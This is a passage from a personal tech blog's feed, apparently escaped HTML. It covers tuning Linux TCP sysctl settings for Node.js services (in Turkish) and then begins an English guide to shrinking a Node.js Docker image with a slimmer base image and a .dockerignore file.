&lt;p&gt;Ya&amp;scedil;ad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z a&amp;gbreve; sorununun hangi &amp;ccedil;ekirdek limitine &amp;ccedil;arpt&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; anlamak i&amp;ccedil;in haz&amp;inodot;rlad&amp;inodot;&amp;gbreve;&amp;inodot;m &amp;scedil;u haritaya g&amp;ouml;z atabilirsiniz:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Belirti:&lt;/strong&gt; Y&amp;uuml;ksek y&amp;uuml;k alt&amp;inodot;nda CPU sakin ama ba&amp;gbreve;lant&amp;inodot;lar zaman a&amp;scedil;&amp;inodot;m&amp;inodot;na (timeout) u&amp;gbreve;ruyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Olas&amp;inodot; Limit:&lt;/strong&gt; &lt;code&gt;somaxconn&lt;/code&gt; veya Node.js taraf&amp;inodot;ndaki listen backlog s&amp;inodot;n&amp;inodot;r&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Te&amp;scedil;his Komutu:&lt;/strong&gt; &lt;code&gt;ss -lnt&lt;/code&gt; ile &lt;code&gt;Send-Q&lt;/code&gt; ve &lt;code&gt;Recv-Q&lt;/code&gt; de&amp;gbreve;erlerini kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;r&amp;inodot;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Belirti:&lt;/strong&gt; &lt;code&gt;dmesg&lt;/code&gt; loglar&amp;inodot;nda &lt;code&gt;SYN flooding&lt;/code&gt; uyar&amp;inodot;s&amp;inodot; &amp;ccedil;&amp;inodot;k&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Olas&amp;inodot; Limit:&lt;/strong&gt; &lt;code&gt;tcp_max_syn_backlog&lt;/code&gt; kuyru&amp;gbreve;u dolmu&amp;scedil;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Te&amp;scedil;his Komutu:&lt;/strong&gt; &lt;code&gt;dmesg | grep SYN&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Belirti:&lt;/strong&gt; D&amp;inodot;&amp;scedil; servislere at&amp;inodot;lan isteklerde &lt;code&gt;EADDRNOTAVAIL&lt;/code&gt; hatas&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Olas&amp;inodot; Limit:&lt;/strong&gt; Ephemeral (ge&amp;ccedil;ici) port t&amp;uuml;kenmesi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Te&amp;scedil;his Komutu:&lt;/strong&gt; &lt;code&gt;ss -tan | grep TIME_WAIT | wc -l&lt;/code&gt; de&amp;gbreve;erini local port aral&amp;inodot;&amp;gbreve;&amp;inodot;yla kar&amp;scedil;&amp;inodot;la&amp;scedil;t&amp;inodot;r&amp;inodot;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Belirti:&lt;/strong&gt; Y&amp;uuml;ksek h&amp;inodot;zl&amp;inodot; hatlarda bant geni&amp;scedil;li&amp;gbreve;i 1 Gbps baraj&amp;inodot;n&amp;inodot; a&amp;scedil;am&amp;inodot;yor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Olas&amp;inodot; Limit:&lt;/strong&gt; TCP bellek tamponlar&amp;inodot; (buffer) yetersiz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Te&amp;scedil;his Komutu:&lt;/strong&gt; &lt;code&gt;cat /proc/sys/net/core/rmem_max&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Belirti:&lt;/strong&gt; Ani trafik dalgalanmalar&amp;inodot;nda d&amp;uuml;zensiz gecikme (latency) s&amp;inodot;&amp;ccedil;ramalar&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Olas&amp;inodot; Limit:&lt;/strong&gt; A&amp;gbreve; kart&amp;inodot; kuyruk limiti (&lt;code&gt;netdev_max_backlog&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Te&amp;scedil;his Komutu:&lt;/strong&gt; &lt;code&gt;ethtool -S eth0 | grep rx_missed_errors&lt;/code&gt; veya &lt;code&gt;ifconfig&lt;/code&gt; &amp;ccedil;&amp;inodot;kt&amp;inodot;s&amp;inodot;ndaki &lt;code&gt;RX errors&lt;/code&gt; alan&amp;inodot;na bak&amp;inodot;n.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Belirti:&lt;/strong&gt; Kar&amp;scedil;&amp;inodot; servis &amp;ccedil;&amp;ouml;kt&amp;uuml;kten sonra ba&amp;gbreve;lant&amp;inodot; havuzundaki &amp;ouml;l&amp;uuml; soketler dakikalarca temizlenmiyor.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Olas&amp;inodot; Limit:&lt;/strong&gt; Keepalive s&amp;uuml;releri &amp;ccedil;ok yava&amp;scedil;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Te&amp;scedil;his Komutu:&lt;/strong&gt; &lt;code&gt;cat /proc/sys/net/ipv4/tcp_keepalive_time&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="tum-ayarlar-tek-dosyada-toplamak"&gt;T&amp;uuml;m Ayarlar&amp;inodot; Tek Dosyada Toplamak&lt;a class="headerlink" href="#tum-ayarlar-tek-dosyada-toplamak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;A&amp;scedil;a&amp;gbreve;&amp;inodot;daki yap&amp;inodot;land&amp;inodot;rmay&amp;inodot; Ansible, Terraform veya do&amp;gbreve;rudan manuel olarak sunucular&amp;inodot;n&amp;inodot;za da&amp;gbreve;&amp;inodot;tabilirsiniz. G&amp;uuml;venli s&amp;inodot;n&amp;inodot;rlarda kal&amp;inodot;nm&amp;inodot;&amp;scedil;, TCP standartlar&amp;inodot;n&amp;inodot; bozmayan temiz bir settir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# /etc/sysctl.d/99-nodejs-microservices.conf&lt;/span&gt;

&lt;span class="c1"&gt;# Gelen ba&amp;gbreve;lant&amp;inodot; kapasitesi&lt;/span&gt;
&lt;span class="na"&gt;net.core.somaxconn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_max_syn_backlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;

&lt;span class="c1"&gt;# Giden ba&amp;gbreve;lant&amp;inodot; kapasitesi ve port y&amp;ouml;netimi&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.ip_local_port_range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1024 65535&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_tw_reuse&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;1&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_fin_timeout&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;30&lt;/span&gt;

&lt;span class="c1"&gt;# Veri ak&amp;inodot;&amp;scedil;&amp;inodot; i&amp;ccedil;in bellek tamponlar&amp;inodot; (Byte cinsinden)&lt;/span&gt;
&lt;span class="na"&gt;net.core.rmem_max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;16777216&lt;/span&gt;
&lt;span class="na"&gt;net.core.wmem_max&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;16777216&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_rmem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;4096 87380 16777216&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_wmem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;4096 65536 16777216&lt;/span&gt;
&lt;span class="na"&gt;net.core.netdev_max_backlog&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;65535&lt;/span&gt;

&lt;span class="c1"&gt;# &amp;Ouml;l&amp;uuml; ba&amp;gbreve;lant&amp;inodot;lerin h&amp;inodot;zl&amp;inodot;ca elenmesi&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;60&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_intvl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_keepalive_probes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;6&lt;/span&gt;

&lt;span class="c1"&gt;# TCP y&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; i&amp;ccedil;in bellek g&amp;uuml;venlik s&amp;inodot;n&amp;inodot;r&amp;inodot; (Sayfa say&amp;inodot;s&amp;inodot; cinsinden, byte de&amp;gbreve;il!)&lt;/span&gt;
&lt;span class="na"&gt;net.ipv4.tcp_mem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;786432 1048576 26777216&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu ayarlar&amp;inodot; sunucuya uygulamak i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;sysctl&lt;span class="w"&gt; &lt;/span&gt;--system
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! tcp_mem Parametresi Tehlikelidir&lt;/p&gt;
&lt;p&gt;&lt;code&gt;tcp_mem&lt;/code&gt; sat&amp;inodot;r&amp;inodot;, &amp;ccedil;ekirde&amp;gbreve;in TCP soketleri i&amp;ccedil;in ay&amp;inodot;rabilece&amp;gbreve;i toplam bellek miktar&amp;inodot;n&amp;inodot; kontrol eder. Buradaki de&amp;gbreve;erler byte de&amp;gbreve;il, &lt;strong&gt;bellek sayfas&amp;inodot; (page)&lt;/strong&gt; cinsindendir (genelde x86_64 mimarisinde sayfa ba&amp;scedil;&amp;inodot;na 4 KiB). E&amp;gbreve;er bu s&amp;inodot;n&amp;inodot;r&amp;inodot; sunucunuzun toplam RAM kapasitesine g&amp;ouml;re &amp;ccedil;ok d&amp;uuml;&amp;scedil;&amp;uuml;k ayarlarsan&amp;inodot;z, &amp;ccedil;ekirdek paketleri bodoslama &amp;ccedil;&amp;ouml;pe atmaya ba&amp;scedil;lar. Yukar&amp;inodot;daki de&amp;gbreve;erleri ba&amp;scedil;lang&amp;inodot;&amp;ccedil; noktas&amp;inodot; olarak al&amp;inodot;p, y&amp;uuml;k alt&amp;inodot;nda &lt;code&gt;free&lt;/code&gt; ve &lt;code&gt;slabtop&lt;/code&gt; &amp;ccedil;&amp;inodot;kt&amp;inodot;lar&amp;inodot;na g&amp;ouml;re ayarlayabilirsiniz.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="altyap-ayarlar-kotu-kodu-kurtarmaz"&gt;Altyap&amp;inodot; Ayarlar&amp;inodot; K&amp;ouml;t&amp;uuml; Kodu Kurtarmaz&lt;a class="headerlink" href="#altyap-ayarlar-kotu-kodu-kurtarmaz" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ccedil;ekirde&amp;gbreve;e ince ayar &amp;ccedil;ekmek sunucuya nefes ald&amp;inodot;r&amp;inodot;r ama k&amp;ouml;t&amp;uuml; yaz&amp;inodot;lm&amp;inodot;&amp;scedil; kodu kurtarmaz hac&amp;inodot;. E&amp;gbreve;er sizin Node.js uygulaman&amp;inodot;zdaki event loop, senkron bir &lt;code&gt;JSON.parse&lt;/code&gt; veya a&amp;gbreve;&amp;inodot;r bir d&amp;ouml;ng&amp;uuml; y&amp;uuml;z&amp;uuml;nden 200 ms boyunca kilitleniyorsa, &lt;code&gt;somaxconn&lt;/code&gt; limitini bir milyona da &amp;ccedil;&amp;inodot;karsan&amp;inodot;z o kuyruk eninde sonunda patlar. &amp;Ccedil;&amp;uuml;nk&amp;uuml; uygulama &amp;ccedil;ekirdekten ba&amp;gbreve;lant&amp;inodot;lar&amp;inodot; kabul (&lt;code&gt;accept&lt;/code&gt;) edemiyordur.&lt;/p&gt;
&lt;p&gt;Ayn&amp;inodot; &amp;scedil;ekilde, her istekte yeni bir veri taban&amp;inodot; ba&amp;gbreve;lant&amp;inodot;s&amp;inodot; a&amp;ccedil;&amp;inodot;p bunu kapatmay&amp;inodot; unutuyorsan&amp;inodot;z, ephemeral port t&amp;uuml;kenmesiyle er ya da ge&amp;ccedil; y&amp;uuml;zle&amp;scedil;irsiniz. &amp;Ccedil;ekirdek ayarlar&amp;inodot; size sadece ka&amp;ccedil;&amp;inodot;&amp;scedil; rampas&amp;inodot; sa&amp;gbreve;lar, s&amp;inodot;z&amp;inodot;nt&amp;inodot;y&amp;inodot; &amp;ccedil;&amp;ouml;zmek sizin i&amp;scedil;inizdir.&lt;/p&gt;
&lt;h2 id="konteyner-dunyasndaki-tuzaklar-docker-kubernetes"&gt;Konteyner D&amp;uuml;nyas&amp;inodot;ndaki Tuzaklar (Docker &amp;amp; Kubernetes)&lt;a class="headerlink" href="#konteyner-dunyasndaki-tuzaklar-docker-kubernetes" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Docker veya Kubernetes kullan&amp;inodot;yorsan&amp;inodot;z, &lt;code&gt;sysctl&lt;/code&gt; ayarlar&amp;inodot;n&amp;inodot;n &amp;ccedil;ekirdekteki yerine dikkat etmeniz gerekir:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Konteyner i&amp;ccedil;inde g&amp;uuml;venli olanlar:&lt;/strong&gt; &lt;code&gt;tcp_tw_reuse&lt;/code&gt; ve &lt;code&gt;tcp_rmem&lt;/code&gt; gibi a&amp;gbreve; isim alan&amp;inodot;na (network namespace) dahil ayarlar&amp;inodot; konteyner i&amp;ccedil;erisinden de de&amp;gbreve;i&amp;scedil;tirebilirsiniz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sadece host &amp;uuml;zerinde &amp;ccedil;al&amp;inodot;&amp;scedil;anlar:&lt;/strong&gt; &lt;code&gt;somaxconn&lt;/code&gt;, &lt;code&gt;rmem_max&lt;/code&gt;, &lt;code&gt;wmem_max&lt;/code&gt; ve &lt;code&gt;netdev_max_backlog&lt;/code&gt; gibi ayarlar a&amp;gbreve; isim alan&amp;inodot;na dahil de&amp;gbreve;ildir. Bunlar&amp;inodot; konteyner i&amp;ccedil;inden set etmeye &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;rsan&amp;inodot;z yetki hatas&amp;inodot; al&amp;inodot;rs&amp;inodot;n&amp;inodot;z veya ayar hi&amp;ccedil;bir i&amp;scedil;e yaramaz. Bunlar&amp;inodot; do&amp;gbreve;rudan sunucu makinesinde (host) ayarlaman&amp;inodot;z &amp;scedil;artt&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kubernetes i&amp;ccedil;in en temiz yol:&lt;/strong&gt; K8s ortamlar&amp;inodot;nda bu ayarlar&amp;inodot; pod seviyesinde veya runtime sidecar'lar&amp;inodot;yla &amp;ccedil;&amp;ouml;zmek yerine, node provisioning (d&amp;uuml;&amp;gbreve;&amp;uuml;m haz&amp;inodot;rlama) a&amp;scedil;amas&amp;inodot;nda, yani Terraform cloud-init veya &amp;ouml;zel makine imajlar&amp;inodot; (AMI) arac&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot;yla do&amp;gbreve;rudan host seviyesine g&amp;ouml;mmek en temiz yakla&amp;scedil;&amp;inodot;md&amp;inodot;r.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;T&amp;uuml;m bu ayarlar&amp;inodot; altyap&amp;inodot; otomasyonunuza dahil edin, sessiz sedas&amp;inodot;z can s&amp;inodot;kan o a&amp;gbreve; sorunlar&amp;inodot;n&amp;inodot; tarihe g&amp;ouml;m&amp;uuml;n.&lt;/p&gt;
&lt;p&gt;Hadi kal&amp;inodot;n sa&amp;gbreve;l&amp;inodot;cakla!&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="laboratuvardan-diger-notlar"&gt;🔗 Laboratuvardan Di&amp;gbreve;er Notlar&lt;a class="headerlink" href="#laboratuvardan-diger-notlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Sistemleri kurcalarken, a&amp;gbreve; trafi&amp;gbreve;ini y&amp;ouml;netirken ve performans&amp;inodot; art&amp;inodot;r&amp;inodot;rken i&amp;scedil;inize yarayacak di&amp;gbreve;er yaz&amp;inodot;lar&amp;inodot;m da &amp;scedil;urada:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/arch-linux-dns-vpn-systemd-resolved-unbound/"&gt;Arch Linux'ta DNS Gizemi: VPN, systemd-resolved ve Unbound&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-dnsmasq-dnscrypt-proxy/"&gt;Arch Linux'ta dnsmasq ve dnscrypt-proxy Kurulum Rehberi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/"&gt;AWS EC2'de OpenVPN Nas&amp;inodot;l Kurulur ve DNS Leak Nas&amp;inodot;l D&amp;uuml;zeltilir&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/docker-imaj-boyutu-kucultme-rehberi/"&gt;&amp;Scedil;i&amp;scedil;ko Docker &amp;Idot;majlar&amp;inodot;na Diyet: 1.2 GB'tan 78 MB'a Yolculuk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performans Ayarlar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Node.js taraf&amp;inodot;ndaki keepAlive ayar&amp;inodot; sadece uygulaman&amp;inodot;n ba&amp;gbreve;lant&amp;inodot;y&amp;inodot; a&amp;ccedil;&amp;inodot;k tutmas&amp;inodot;n&amp;inodot; sa&amp;gbreve;lar, &amp;ccedil;ekirdek seviyesindeki TCP keepalive s&amp;uuml;resi de&amp;gbreve;i&amp;scedil;tirilmedi&amp;gbreve;inde ise &amp;ouml;l&amp;uuml; ba&amp;gbreve;lant&amp;inodot;lar i&amp;scedil;letim sistemi d&amp;uuml;zeyinde yine 2 saat as&amp;inodot;l&amp;inodot; kalmaya devam eder.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="linux"/><category term="tcp tuning"/><category term="sysctl"/><category term="nodejs"/><category term="mikroservis"/><category term="devops"/><category term="sorun-giderme"/></entry><entry><title>Dieting for Bloated Docker Images: A Journey from 1.2 GB to 78 MB</title><link href="https://yuceltoluyag.github.io/en/docker-imaj-boyutu-kucultme-rehberi/" rel="alternate"/><published>2026-05-29T04:10:00+03:00</published><updated>2026-05-29T04:10:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-29:/en/docker-imaj-boyutu-kucultme-rehberi/</id><summary type="html">&lt;p&gt;Bloated Docker images slow down CI/CD processes and increase storage costs. I'm sharing how I incrementally reduced a Node.js + TypeScript app's image to 78 MB.&lt;/p&gt;</summary><content type="html">&lt;p&gt;While tinkering with the images of services running in my home lab, I noticed something, folks: the Docker image for our trusty Node.js + TypeScript application was taking up a whopping 1.21 GB on disk. It's almost comical; we're consuming so much space on the server for a JavaScript project whose compiled output is a mere 4 MB.&lt;/p&gt;
&lt;p&gt;Bloated Docker images are, in reality, a hidden tax paid silently by every team deploying containers. Slowing CI/CD pipelines, sluggish deployment times, increasing security vulnerabilities, and ultimately, ballooning storage (registry) bills... Most developers wave this off, saying, "There's nothing to be done, the Node.js ecosystem is just this bloated." But we've chewed through our fair share of terminals, my friends, and giving up isn't in our DNA.&lt;/p&gt;
&lt;p&gt;After a few hours of work, I'm sharing, with all the measurements, how I shrunk this beast, destined for production, down to 78 MB step-by-step, without the slightest impact on the application's functionality.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Shrinking Docker Image Size" src="/images/docker-slim.png"/&gt;&lt;/p&gt;
&lt;h2 id="starting-point-a-naive-dockerfile-121-gb"&gt;Starting Point: A Naive Dockerfile (1.21 GB)&lt;a class="headerlink" href="#starting-point-a-naive-dockerfile-121-gb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This is the first Dockerfile most teams write. Does it work? Yes. But almost every line is a waste.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;node:22&lt;/span&gt;

&lt;span class="k"&gt;WORKDIR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/app&lt;/span&gt;
&lt;span class="k"&gt;COPY&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt; &lt;/span&gt;.
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;install
&lt;span class="k"&gt;RUN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;npm&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;build

&lt;span class="k"&gt;EXPOSE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;3000&lt;/span&gt;
&lt;span class="k"&gt;CMD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"npm"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"start"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After building this and checking its size, the situation is dire:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;build&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;app:naive&lt;span class="w"&gt; &lt;/span&gt;.
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;images&lt;span class="w"&gt; &lt;/span&gt;app:naive
REPOSITORY&lt;span class="w"&gt;   &lt;/span&gt;TAG&lt;span class="w"&gt;     &lt;/span&gt;SIZE
app&lt;span class="w"&gt;          &lt;/span&gt;naive&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.21GB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let's roll up our sleeves and get to work.&lt;/p&gt;
&lt;h2 id="step-1-changing-the-base-image-121-gb-412-mb"&gt;Step 1: Changing the Base Image (1.21 GB -&amp;gt; 412 MB)&lt;a class="headerlink" href="#step-1-changing-the-base-image-121-gb-412-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The original &lt;code&gt;node:22&lt;/code&gt; tagged image is Debian-based and includes tons of compiler tools needed during the build phase that we won't even look at during runtime. The &lt;code&gt;slim&lt;/code&gt; tagged image, on the other hand, trims away a large portion of this excess.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;Image Version&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Size&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;node:22&lt;/td&gt;
&lt;td style="text-align: left;"&gt;1.21 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;node:22-slim&lt;/td&gt;
&lt;td style="text-align: left;"&gt;412 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;node:22-alpine&lt;/td&gt;
&lt;td style="text-align: left;"&gt;178 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;While the Alpine version appears much smaller, it uses musl libc. Pure JavaScript projects run smoothly on Alpine. However, if your dependencies include native modules like &lt;code&gt;bcrypt&lt;/code&gt; or &lt;code&gt;sharp&lt;/code&gt; that are compiled with C/C++, musl libc might cause you headaches&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Therefore, for a realistic production environment, proceeding with the &lt;code&gt;slim&lt;/code&gt; image is the safest bet.&lt;/p&gt;
&lt;h2 id="step-2-leaving-unnecessary-files-at-the-door-dockerignore-412-mb-388-mb"&gt;Step 2: Leaving Unnecessary Files at the Door (&lt;code&gt;.dockerignore&lt;/code&gt;) (412 MB -&amp;gt; 388 MB)&lt;a class="headerlink" href="#step-2-leaving-unnecessary-files-at-the-door-dockerignore-412-mb-388-mb" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When Docker copies files, if it doesn't apply filters, it directly writes your local &lt;code&gt;node_modules&lt;/code&gt; folder, &lt;code&gt;.git&lt;/code&gt; history, test files, and even sensitive local development &lt;code&gt;.env&lt;/code&gt; files into the image's layers.&lt;/p&gt;
&lt;p&gt;We'll immediately create a &lt;code&gt;.dockerignore&lt;/code&gt; file in the project's root directory to get rid of unnecessary bloat:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;node_modules&lt;/span&gt;
&lt;span class="nf"&gt;npm-debug.log&lt;/span&gt;
&lt;span class="na"&gt;.git&lt;/span&gt;
&lt;span class="na"&gt;.gitignore&lt;/span&gt;
&lt;span class="na"&gt;.env&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;
&lt;span class="na"&gt;.vscode&lt;/span&gt;
&lt;span class="na"&gt;.idea&lt;/span&gt;
&lt;span class="nf"&gt;coverage&lt;/span&gt;
&lt;span class="nf"&gt;dist&lt;/span&gt;
&lt;span class="nf"&gt;build&lt;/span&gt;
&lt;span class="err"&gt;*&lt;/span&gt;&lt;span class="na"&gt;.md&lt;/span&gt;
&lt;span class="nf"&gt;test&lt;/span&gt;
&lt;span class="nf"&gt;__tests__&lt;/span&gt;
&lt;span class="nf"&gt;Dockerfile&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;
&lt;span class="na"&gt;.dockerignore&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This small file not only reduces the size but also prevents critical files like local &lt;code&gt;.env.development&lt;/code&gt; from accidentally leaking into public registries.&lt;/p&gt;
